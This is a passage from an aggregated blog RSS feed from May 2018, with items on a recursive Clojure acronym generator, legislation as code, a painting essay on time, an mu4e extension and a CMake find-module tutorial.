&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(including noodles) gotten usually in northern italy) elegantly served
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(oodles of delicious linguini) elegantly served (oodles of delicious
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;linguini) elegantly served everywhere!) and meatballs, casually heaped
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;onto pasta and shad and unusual coffee (excellente!) (that's a lucious
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lunch) and sauce (that's all!) and spaghetti, heated al dente and
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;unusual coffee (excellente!) (that's a lucious lunch) and standard
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;pasta and sauce (that's all!) always good, hot particularly (twist,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;then ingest) heated al dente and unusual coffee (excellente!) (that's
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;a lucious lunch) shad and unusual choice of fine flavors particularly
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;espresso (excellente!) (including noodles (oodles of delicious
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;linguini) elegantly served (oodles of delicious linguini) elegantly
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;served (oodles of delicious linguini) elegantly served (oodles of
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;delicious linguini) elegantly served (oodles of delicious lasagne and
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;meatballs, casually heaped onto pasta sauce (including noodles) gotten
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;usually in northern italy) elegantly served (oodles of delicious
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lambchops (including noodles) gotten usually in northern italy)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;elegantly served (oodles of delicious linguini and sauce and garlic
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(noodles everywhere!) and meatballs, casually heaped onto pasta sauce
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(including noodles (oodles of delicious linguini) elegantly served)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;gotten usually in northern italy) elegantly served (oodles of
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;delicious lambchops (including noodles (oodles of delicious linguini)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;elegantly served) gotten usually in northern italy) elegantly served
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(oodles of delicious lasagne and meatballs, casually heaped onto pasta
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sauce (including noodles) gotten usually in northern italy and shad
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;and unusual coffee (excellente!) and garlic (noodles everywhere!) and
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;meatballs, casually heaped onto pasta sauce (including noodles (oodles
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;of delicious linguini) elegantly served (oodles of delicious linguini)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;elegantly served) gotten usually in northern italy) elegantly served
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(oodles of delicious linguini and sauce and garlic (noodles
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;everywhere!) and meatballs, casually heaped onto pasta sauce
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(including noodles) gotten usually in northern italy and spaghetti,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;heated al dente and unusual coffee (excellente!) and garlic (noodles
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(oodles of delicious linguini) elegantly served everywhere!) and
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;meatballs, casually heaped onto pasta sauce (including noodles (oodles
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;of delicious linguini) elegantly served (oodles of delicious linguini)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;elegantly served) gotten usually in northern italy) elegantly served)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;gotten usually in northern italy)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;
Man, I'm stuffed!&lt;/p&gt;
&lt;p&gt;
&lt;em&gt;A talk based on this code was given as in instructional&lt;/em&gt;
/
&lt;em&gt;fun exercise at Clojurepalooza at OpinionLab in May of 2018.&lt;/em&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;</description><author>John Jacobsen</author><pubDate>Wed, 30 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://johnj.com/posts/oodles/</guid></item><item><title>Food for thought found on Twitter about "legislation as code"</title><link>https://stop.zona-m.net/2018/05/food-for-thought-found-on-twitter-about-legislation-as-code/</link><description>&lt;p&gt;What would happen if laws were written and maybe even &amp;ldquo;executed&amp;rdquo;, that is applied, as if they were computer software code?&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Tue, 29 May 2018 21:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/05/food-for-thought-found-on-twitter-about-legislation-as-code/</guid></item><item><title>In a distributed system ... there is no now</title><link>https://ilearnt.com/blog/thereisnonow/</link><description>&lt;p&gt;This paper is a discussion around the issues faced by distributed systems when dealing with time, ordering and failures. This is particularly relevant with the work I am doing at the moment designing a very large distributed system that will need to scale massively.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Tue, 29 May 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/thereisnonow/</guid></item><item><title>Painting and Time</title><link>https://johnj.com/posts/painting-time/</link><description>&lt;figure&gt;





&lt;a href="https://johnj.com/IMG_4756.jpg"&gt;&lt;img class="resize" src="https://johnj.com/IMG_4756_hu_2e8a4cf7dfc139b4.jpg" style="width: 700px; border: 0px solid black;" /&gt;&lt;/a&gt;


&lt;figcaption&gt;
&lt;em&gt;Painting is quite old and hard to fool.&lt;/em&gt; –Tad Spurgeon
&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;
In &lt;a href="https://www.tadspurgeon.com/the_book.php?page%3Dthe%2Bbook"&gt;&lt;em&gt;Living Craft&lt;/em&gt;&lt;/a&gt;, Spurgeon calls out &lt;em&gt;time&lt;/em&gt; as the first "material"
used to make paintings. He speaks of "extra-logical," emotional
time, time experienced by the mind of the painter, rather than purely
physical time measured by clocks. His remarks frame an invitation to
contemplate how one experiences time in the studio and what time means
to painters (and, by extension, viewers).&lt;/p&gt;
&lt;p&gt;
There is no question that paintings take time to make, sometimes &lt;em&gt;a
lot&lt;/em&gt; of time… from minutes to hundreds or thousands of
hours.&lt;sup class="footnote-reference"&gt;&lt;a href="#footnote-1" id="footnote-reference-1"&gt;1&lt;/a&gt;&lt;/sup&gt;  Much contemporary activity seems to be oriented
around saving time, but a single painting can take the kind of time
jobs take, or marriages, or
kids&lt;sup class="footnote-reference"&gt;&lt;a href="#footnote-2" id="footnote-reference-2"&gt;2&lt;/a&gt;&lt;/sup&gt;.
To me, this slowness is part of painting's appeal,
one of the reasons that it remains relevant today (as an antidote, at
least). Becoming a painter has meant, for me, learning how (and why)
to spend that kind of time at the easel… on many paintings at once,
switching them as drying times and inspiration require, or on just one
at a time.&lt;/p&gt;
&lt;p&gt;
Paintings connect the present moment of painting (or viewing) with
various points in the past and future. &lt;em&gt;This&lt;/em&gt; moment, &lt;em&gt;this&lt;/em&gt; tip of
&lt;em&gt;this&lt;/em&gt; brush containing &lt;em&gt;this&lt;/em&gt; much of &lt;em&gt;this&lt;/em&gt; color and &lt;em&gt;this&lt;/em&gt;
consistency of paint with &lt;em&gt;this&lt;/em&gt; precise location on &lt;em&gt;this&lt;/em&gt; surface,
and &lt;em&gt;this&lt;/em&gt; breath, &lt;em&gt;this&lt;/em&gt; experience of the image reaching the eye and
brain, all relate to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;[ $-$ (0-8) &lt;em&gt;hours&lt;/em&gt; ] the moments just prior to this one; the wet paint just
put down, to be blended into, left alone, rubbed out, scraped off.&lt;/li&gt;
&lt;li&gt;[ + (0-8) &lt;em&gt;hours&lt;/em&gt; ] the moments about to come, in this
session; future marks that will be blended into this one; other
manipulations about to come, including removal if the current
experiment is judged a failure.&lt;/li&gt;
&lt;li&gt;[ $-$ &lt;em&gt;(days, months, years)&lt;/em&gt; ] previous paint layers. Ground,
underpainting, impasto… existing layers are like sedimentary rocks
whose geology tells the story of what the mind and hand were doing
during earlier sessions, recording course corrections, adjustment of
values and edges, and the evolution of emotion, content and
intent. The strata laid down previously are always in the process
of being covered or exposed by the current brush strokes, knife
application, scraping, sanding. These layers also show things
(generally, but not always, mistakes) that you couldn't see previously, but
that suddenly become, sometimes painfully, clear.&lt;/li&gt;
&lt;li&gt;[ &lt;em&gt;+ (days, months, years)&lt;/em&gt; ] the painting as it slowly dries, and
paint layers to come. Thoughts of translucency and opacity, of
optical mixing, of glazing and scumbling.  Where the painting might
go. Anticipation of coming successes and failures.&lt;/li&gt;
&lt;li&gt;[ $-$ &lt;em&gt;(days, months, years)&lt;/em&gt; ] past drawings or other studies you made for
this painting. Other sketches or paintings you made which led you
down your current path.&lt;/li&gt;
&lt;li&gt;[ &lt;em&gt;+ years&lt;/em&gt; ] future paintings you will (hopefully) make. The
evolution of your thinking, themes, urges, longings; mistakes you
will no longer make; new territories that will open up, that you
can't even see yet.&lt;/li&gt;
&lt;li&gt;[ $-$ &lt;em&gt;(years, decades)&lt;/em&gt; ] teachings you've received from teachers and mentors.&lt;/li&gt;
&lt;li&gt;[ &lt;em&gt;+ (years, decades)&lt;/em&gt; ] paintings to be made by students you taught / may
teach or people you've inspired / may inspire.&lt;/li&gt;
&lt;li&gt;[ $-$ &lt;em&gt;(years, centuries)&lt;/em&gt; ] paintings made in the past that you've seen /
liked / hated. All the Great Masters; others, in your personal pantheon of
artists. The first artworks you ever saw, or made.&lt;/li&gt;
&lt;li&gt;[ $-$ &lt;em&gt;millennia&lt;/em&gt; ] the earliest paintings made. Cave paintings, paintings
from ancient civilization.&lt;/li&gt;
&lt;li&gt;[ $-$ &lt;em&gt;($10^0$ - $10^2$) years&lt;/em&gt; ] the production, storage,
transportation and cultural context of the raw materials that find
their way into your paintings: panels, stretcher bars, linen,
linseed oil, pigment, brush fibers, bugs, hair, etc. I have panels
prepared by my grandfather and recovered from his woodpile after he
died; a handmade cherry-wood palette I got off Instagram that I
cherish; and a few kilos of powdered manganese blue (PB-33) that I
stockpiled because nobody is producing the pigment or paint anymore.&lt;/li&gt;
&lt;li&gt;[ $-$ &lt;em&gt;($10^9$ - $10^{10}$) years&lt;/em&gt; ] the history of the substances
(atoms/molecules) composing those materials: the annual growth and
harvest of flax from fields in Europe; slow reactions involving iron
in the earth's crust; the early history of the planet's formation;
formation of heavy elements such as cadmium, cobalt, and lead in
&lt;a href="https://en.wikipedia.org/wiki/Supernova_nucleosynthesis"&gt;supernova nucleosynthesis&lt;/a&gt;; the creation of lighter elements occurring the
early universe after the Big Bang.&lt;/li&gt;
&lt;li&gt;[ &lt;em&gt;+ (days, years, centuries)&lt;/em&gt; ] the fate of your work on the walls
of someone's house / palace / fortress / vault / museum / bomb
shelter (that is, if anyone keeps it around).  Happenstance viewings
in various circumstances by future generations.&lt;/li&gt;
&lt;li&gt;[ &lt;em&gt;+ ($10^{??}$ years)&lt;/em&gt; ] the atoms from your paintings, after they
are burned / rotted / crushed / vaporized /….&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Every moment of painting is in dialogue with all these other moments
and time scales. This conversation of material and mind is far greater
than any one person, but it is available while you work, or look,
&lt;em&gt;right now.&lt;/em&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;:Ὁ βίος βραχύς,&lt;/p&gt;
&lt;p&gt;
ἡ δὲ τέχνη μακρή,&lt;/p&gt;
&lt;p&gt;
ὁ δὲ καιρὸς ὀξύς,&lt;/p&gt;
&lt;p&gt;
ἡ δὲ πεῖρα σφαλερή,&lt;/p&gt;
&lt;p&gt;
ἡ δὲ κρίσις χαλεπή.&lt;/p&gt;
&lt;p&gt;
Vita brevis,
ars longa,
occasio praeceps,
experimentum periculosum,
iudicium difficile.&lt;/p&gt;
&lt;p&gt;
(Life is short, and art long, opportunity fleeting, experimentation
perilous, and judgment difficult.&lt;sup class="footnote-reference"&gt;&lt;a href="#footnote-3" id="footnote-reference-3"&gt;3&lt;/a&gt;&lt;/sup&gt;)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="footnotes"&gt;
&lt;hr class="footnotes-separatator" /&gt;
&lt;div class="footnote-definitions"&gt;
&lt;div class="footnote-definition"&gt;
&lt;sup id="footnote-1"&gt;&lt;a href="#footnote-reference-1"&gt;1&lt;/a&gt;&lt;/sup&gt;
&lt;div class="footnote-body"&gt;
&lt;p&gt;They also take time to get to, and to digest once you get a chance to see them.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="footnote-definition"&gt;
&lt;sup id="footnote-2"&gt;&lt;a href="#footnote-reference-2"&gt;2&lt;/a&gt;&lt;/sup&gt;
&lt;div class="footnote-body"&gt;
&lt;p&gt;For an example, see Ivan Albright's painting, &lt;em&gt;That Which I Should Have Done I Did Not Do (The Door)&lt;/em&gt;, which took ten years to complete.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="footnote-definition"&gt;
&lt;sup id="footnote-3"&gt;&lt;a href="#footnote-reference-3"&gt;3&lt;/a&gt;&lt;/sup&gt;
&lt;div class="footnote-body"&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Ars_longa,_vita_brevis"&gt;https://en.wikipedia.org/wiki/Ars_longa,_vita_brevis&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;</description><author>John Jacobsen</author><pubDate>Tue, 29 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://johnj.com/posts/painting-time/</guid></item><item><title>Adding mu4e maildirs extension</title><link>https://xenodium.com/adding-mu4e-maildirs-extension</link><description>&lt;p&gt;Continuing the mu4e fun, added mu4e-maildirs-extension to display a mail dirs summary.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://xenodium.github.io/images/adding-mu4e-maildirs-extension/mu4e_maildirs_extension.png" /&gt;&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Tue, 29 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/adding-mu4e-maildirs-extension</guid></item><item><title>Some nice and accurate CMake tips</title><link>https://bastian.rieck.me/blog/2018/cmake_tips/</link><description>&lt;p&gt;&lt;code&gt;CMake&lt;/code&gt; arguably makes life a lot easier for developers and users alike.
Instead of fiddling around with &lt;code&gt;autotools&lt;/code&gt; madness, we ideally now just
issue the following sequence of commands to build a piece of software:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ mkdir build
$ cd build
$ cmake ../
$ make
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;However, often things are &lt;em&gt;not&lt;/em&gt; that easy. I have found that sometimes,
anarchy reigns supreme in the world of &lt;code&gt;CMake&lt;/code&gt;—different modules,
different ways of doing the same thing, and a complete lack of &lt;em&gt;enforced&lt;/em&gt;
standards are big hurdles in using or integrating software written by
other people.&lt;/p&gt;
&lt;p&gt;In this article, I want to outline some rules for writing a simple CMake
find module for your own software or for unsupported libraries. Moreover,
I want to present some snippets for common situations. The code for this
blog post is available &lt;a href="https://github.com/Pseudomanifold/cmake-cpp"&gt;on GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="writing-a-cmake-module"&gt;Writing a CMake module&lt;/h1&gt;
&lt;p&gt;CMake modules are the prime reason for its success. Briefly put, they
permit you to &lt;em&gt;find&lt;/em&gt; other libraries that you need to link against. A
good module can make your life easy. A bad module can lead to &lt;em&gt;weird&lt;/em&gt;
error messages.&lt;/p&gt;
&lt;h2 id="finding-a-header-only-library"&gt;Finding a header-only library&lt;/h2&gt;
&lt;p&gt;For an easy start, assume that we are looking for a &lt;em&gt;header-only
library&lt;/em&gt;. The same structure will be used when looking for other
libraries, by the way—it will just be a little bit longer.&lt;/p&gt;
&lt;p&gt;Suppose we want to look for a header-only library &lt;code&gt;foo&lt;/code&gt; that has
one main header &lt;code&gt;foo.h&lt;/code&gt; within some subdirectory &lt;code&gt;foo&lt;/code&gt;. Yes, the
creativity in names is strong here, but bear with me. The module
below will look for this package in a standardized manner:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;INCLUDE( FindPackageHandleStandardArgs )

# Checks an environment variable; note that the first check
# does not require the usual CMake $-sign.
IF( DEFINED ENV{FOO_DIR} )
  SET( FOO_DIR &amp;quot;$ENV{FOO_DIR}&amp;quot; )
ENDIF()

FIND_PATH(
  FOO_INCLUDE_DIR
    foo/foo.h
  HINTS
    ${FOO_DIR}
)

FIND_PACKAGE_HANDLE_STANDARD_ARGS( FOO DEFAULT_MSG
  FOO_INCLUDE_DIR
)

IF( FOO_FOUND )
  SET( FOO_INCLUDE_DIRS ${FOO_INCLUDE_DIR} )

  MARK_AS_ADVANCED(
    FOO_INCLUDE_DIR
    FOO_DIR
  )
ELSE()
  SET( FOO_DIR &amp;quot;&amp;quot; CACHE STRING
    &amp;quot;An optional hint to a directory for finding `foo`&amp;quot;
  )
ENDIF()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let us take a look at this in more detail. The module first imports
a CMake standard module, the &lt;code&gt;FindPackageHandleStandardArgs&lt;/code&gt; macro,
which permits us to delegate and standardize package finding. Next,
we check the environment variables of the client for &lt;code&gt;FOO_DIR&lt;/code&gt;. The
user can specify such a variable to point to a non-standard include
directory for the package, such as &lt;code&gt;$HOME&lt;/code&gt;, or &lt;em&gt;any&lt;/em&gt; directory that
is not typically associated with libraries. A classical use case is
the local installation on a machine where you lack root privileges.&lt;/p&gt;
&lt;p&gt;In any case, information about the variable is being used and a new
variable called &lt;code&gt;FOO_DIR&lt;/code&gt; is not set &lt;em&gt;in&lt;/em&gt; CMake. Next, we supply it
to the &lt;code&gt;FIND_PATH&lt;/code&gt; function of CMake. This function tries to find a
specified path or file (&lt;code&gt;foo/foo.h&lt;/code&gt; in our case) while looking
in a standardized set of directories. See the &lt;a href="https://cmake.org/cmake/help/latest/command/find_path.html"&gt;CMake documentation&lt;/a&gt;
for more details.&lt;/p&gt;
&lt;p&gt;Information about the path is stored in &lt;code&gt;FOO_INCLUDE_DIR&lt;/code&gt;. The nice
thing is that we do not need to evaluate this variable, because the
function &lt;code&gt;FIND_PACKAGE_HANDLE_STANDARD_ARGS&lt;/code&gt; handles it: using some
short descriptor (&lt;code&gt;FOO&lt;/code&gt;) of the package, we can hand &lt;em&gt;all&lt;/em&gt; the
paths that we need to the function and it will automatically result
in the appropriate status or warning message. Moreover, it will set
the variable &lt;code&gt;FOO_FOUND&lt;/code&gt; if the package was found.&lt;/p&gt;
&lt;p&gt;If this is the case, we set &lt;code&gt;FOO_INCLUDE_DIRS&lt;/code&gt; to point to the path
that we found before. Notice that it is customary to use the plural
form here because a package might conceivably have multiple include
paths. Using the plural in &lt;em&gt;all&lt;/em&gt; cases makes it simpler for clients
to employ our module because they can just issue&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;TARGET_INCLUDE_DIRECTORIES( example ${FOO_INCLUDE_DIRS} )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;somewhere in their code.&lt;/p&gt;
&lt;p&gt;As a final step, we hide the variables by marking them as advanced,
so that CMake users have to explicitly toggle them. This is merely
for not cluttering up the output of &lt;code&gt;cmake-gui&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This is the most basic skeleton for finding a header-only library.
To actually use this module, you can now just issue&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;FIND_PACKAGE( foo REQUIRED )
TARGET_INCLUDE_DIRECTORIES( example ${FOO_INCLUDE_DIRS} )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;in your code. Provided that CMake knows where to look for modules,
this is all you need to do. To extend the module search path, just
create a directory &lt;code&gt;cmake/Modules&lt;/code&gt; in your main project folder and
add the following lines to the main &lt;code&gt;CMakeLists.txt&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;LIST( APPEND CMAKE_MODULE_PATH
  ${CMAKE_SOURCE_DIR}/cmake/Modules
)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A caveat: the &lt;code&gt;FIND_PACKAGE&lt;/code&gt; call is one of the few parts in CMake
where capitalization matters. If you do &lt;code&gt;FIND_PACKAGE( FOO )&lt;/code&gt;, the
CMake parser will look for a file named &lt;code&gt;FindFOO.cmake&lt;/code&gt;. Hence, in
this case, since we are doing &lt;code&gt;FIND_PACKAGE( foo )&lt;/code&gt;, the module is
named &lt;code&gt;Findfoo.cmake&lt;/code&gt;. Notice that I am &lt;em&gt;strongly&lt;/em&gt; encouraging you
to use uppercase spelling in all the variables that you export, as
it makes life easier and developers do not have to think about the
proper capitalization.&lt;/p&gt;
&lt;h2 id="finding-a-shared-object-or-a-static-library"&gt;Finding a shared object or a static library&lt;/h2&gt;
&lt;p&gt;As a slightly more advanced topic, suppose you are looking for one
library called &lt;code&gt;bar&lt;/code&gt; that comes with an include directory &lt;em&gt;plus&lt;/em&gt; a
shared object. This requires some additions to the code above:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;INCLUDE( FindPackageHandleStandardArgs )

# Checks an environment variable; note that the first check
# does not require the usual CMake $-sign.
IF( DEFINED ENV{BAR_DIR} )
  SET( BAR_DIR &amp;quot;$ENV{BAR_DIR}&amp;quot; )
ENDIF()

FIND_PATH(
  BAR_INCLUDE_DIR
    bar/bar.h
  HINTS
    ${BAR_DIR}
)

FIND_LIBRARY( BAR_LIBRARY
  NAMES bar
  HINTS ${BAR_DIR}
)

FIND_PACKAGE_HANDLE_STANDARD_ARGS( BAR DEFAULT_MSG
  BAR_INCLUDE_DIR
  BAR_LIBRARY
)

IF( BAR_FOUND )
  SET( BAR_INCLUDE_DIRS ${BAR_INCLUDE_DIR} )
  SET( BAR_LIBRARIES ${BAR_LIBRARY} )

  MARK_AS_ADVANCED(
    BAR_LIBRARY
    BAR_INCLUDE_DIR
    BAR_DIR
  )
ELSE()
  SET( BAR_DIR &amp;quot;&amp;quot; CACHE STRING
    &amp;quot;An optional hint to a directory for finding `bar`&amp;quot;
  )
ENDIF()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The most salient change is the use of &lt;code&gt;FIND_LIBRARY&lt;/code&gt; to find, you
guessed it, the library. The optional &lt;code&gt;NAMES&lt;/code&gt; argument can be used
to supply more names for a library, which is useful if a   library
ships with different flavours, such as &lt;code&gt;bar_cxx&lt;/code&gt; or &lt;code&gt;bar_hl&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Similar to what I wrote above, I am also exporting the single library  as
&lt;code&gt;BAR_LIBRARIES&lt;/code&gt; in order to simplify usage. In the best case, clients can
just use&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;TARGET_LINK_LIBRARIES( example ${BAR_LIBRARIES} )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and the code will continue to work even if, some years down the  road,
&lt;code&gt;bar&lt;/code&gt; suddenly starts shipping with &lt;em&gt;two&lt;/em&gt; libraries. Again, I advocate
for having a sane and simple standard rather than having to think hard
about how to use the darn module.&lt;/p&gt;
&lt;p&gt;Other than that, this works &lt;em&gt;exactly&lt;/em&gt; the same as the previous example
from above!&lt;/p&gt;
&lt;h1 id="things-that-frequently-need-doing"&gt;Things that frequently need doing&lt;/h1&gt;
&lt;p&gt;Having written almost exhaustively about how to find libraries, I want
to end this post with several common tasks. For each of them, I have
seen various kinds of weird workarounds, so I would like to point out
a more official way.&lt;/p&gt;
&lt;h2 id="versions-checks"&gt;Versions checks&lt;/h2&gt;
&lt;p&gt;Sometimes, it is unavoidable to support &lt;em&gt;previous&lt;/em&gt; versions of CMake, or
detect whether a &lt;em&gt;specific&lt;/em&gt; version of a library has been installed. For
this purpose, there are special &lt;code&gt;VERSION&lt;/code&gt; comparison operators. Do &lt;em&gt;not&lt;/em&gt;
write your own code to do so but rather do something like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;IF( CMAKE_CXX_COMPILER_VERSION VERSION_LESS &amp;quot;5.4.1&amp;quot; )
  MESSAGE( STATUS &amp;quot;This compiler version might cause problems&amp;quot; )
ENDIF()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Similarly, there are &lt;code&gt;VERSION_EQUAL&lt;/code&gt; and &lt;code&gt;VERSION_GREATER&lt;/code&gt; checks. They
are tested and bound to work—even when you are comparing packages
and their versions.&lt;/p&gt;
&lt;h2 id="detecting-an-operating-system"&gt;Detecting an operating system&lt;/h2&gt;
&lt;p&gt;Your code can be as agnostic with respect to the operating system as you
want, but there might still be that one situation where you need to have
a way of determining whether your code is being compiled under a certain
operating system.&lt;/p&gt;
&lt;p&gt;This is easy to accomplish:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;IF( APPLE )
  MESSAGE( STATUS &amp;quot;Running under MacOS X&amp;quot; )
# Watch out, for this check also is TRUE under MacOS X because it
# falls under the category of Unix-like.
ELSEIF( UNIX )
  MESSAGE( STATUS &amp;quot;Running under Unix or a Unix-like OS&amp;quot; )
# Despite what you might think given this name, the variable is also
# true for 64bit versions of Windows.
ELSEIF( WIN32 )
  MESSAGE( STATUS &amp;quot;Running under Windows (either 32bit or 64bit)&amp;quot; )
ENDIF()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="detecting-a-compiler"&gt;Detecting a compiler&lt;/h2&gt;
&lt;p&gt;Sometimes, you need to disable or enable certain things depending on the
compiler. Suppose you want to figure out the version of the C++ compiler
and its type:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;IF( CMAKE_CXX_COMPILER_ID MATCHES &amp;quot;GNU&amp;quot; )
  MESSAGE( STATUS &amp;quot;g++ for the win!&amp;quot; )
  MESSAGE( STATUS ${CMAKE_CXX_COMPILER_VERSION} )
ENDIF()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For LLVM/clang, you can use:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;IF( CMAKE_CXX_COMPILER_ID MATCHES &amp;quot;Clang&amp;quot; )
  MESSAGE( STATUS &amp;quot;LLVM, yeah!&amp;quot; )
ENDIF()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Please refer &lt;a href="https://cmake.org/cmake/help/latest/variable/CMAKE_LANG_COMPILER_ID.html"&gt;to the documentation&lt;/a&gt;
for more IDs.&lt;/p&gt;
&lt;h2 id="enabling-c11-or-c14"&gt;Enabling C++11 or C++14&lt;/h2&gt;
&lt;p&gt;While it is &lt;em&gt;possible&lt;/em&gt; (and also necessary for older versions) to
enable C++11 by modifying &lt;code&gt;CMAKE_CXX_FLAGS&lt;/code&gt; directly, the standard way
involves only two lines:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SET( CMAKE_CXX_STANDARD 11 )
SET( CMAKE_CXX_STANDARD_REQUIRED ON )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is guaranteed to work with &lt;em&gt;all&lt;/em&gt; supported compilers.&lt;/p&gt;
&lt;h1 id="coda"&gt;Coda&lt;/h1&gt;
&lt;p&gt;I hope this article convinced you of the power of CMake and of the need
for standardizing its usage. You can find the code of the modules, plus
some boilerplate CMake code, in the &lt;a href="https://github.com/Pseudomanifold/cmake-cpp"&gt;GitHub repository for this post&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Have fun using CMake, until next time!&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Update (2018-05-30)&lt;/em&gt;: Using &lt;code&gt;TARGET_INCLUDE_DIRECTORIES&lt;/code&gt; as suggested
